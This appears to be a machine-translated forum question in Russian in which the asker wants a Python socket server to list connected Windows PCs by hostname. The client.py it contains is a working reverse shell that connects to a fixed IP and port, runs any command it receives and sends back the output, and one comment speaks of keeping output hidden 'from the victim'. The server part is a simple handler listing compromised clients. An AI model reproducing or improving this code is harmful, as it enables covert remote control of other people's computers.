Я пишу программный код сокета client.py
и server.py
, и он работает потрясающе. Теперь я сталкиваюсь с небольшой проблемой, я хочу получить имя P C и показать, что это устройство подключено ниже, это код. Я пробовал другой метод, но все не удалось. По сути, в моей сети есть пара компьютеров Windows, на которых будет запущен сценарий python. Таким образом, с помощью этого метода я узнаю все имя компьютера
client.py
import os, socket, subprocess ,getpass
def shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = '192.168.100.9'
port = 9995
s.connect((host, port))
# userName = getpass.getuser()
# s.send(str.encode(userName))
# print(userName)
while True:
try:
data = s.recv(800000)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE)
output_byte = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_byte,"utf-8")
currentWD = os.getcwd() + "> "
s.send(str.encode(output_str + currentWD))
# print(output_str) # if you want to show the output to the victim
except:
shell()
if __name__ == "__main__":
shell()
ниже приведен код сервера
server.py
def list_connections():
results = ''
for i, conn in enumerate(all_connections):
try:
conn.send(str.encode(' '))
conn.recv(80000000)
except:
del all_connections[i]
del all_address[i]
continue
results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n"
print("----Clients----" + "\n" + results)
, который дал мне вывод, подобный этому
output::
----Clients----
0 192.168.100.9 55747
Я хочу вывод как это :::
output::
----Clients----
0 PC_NAME 192.168.100.9 55747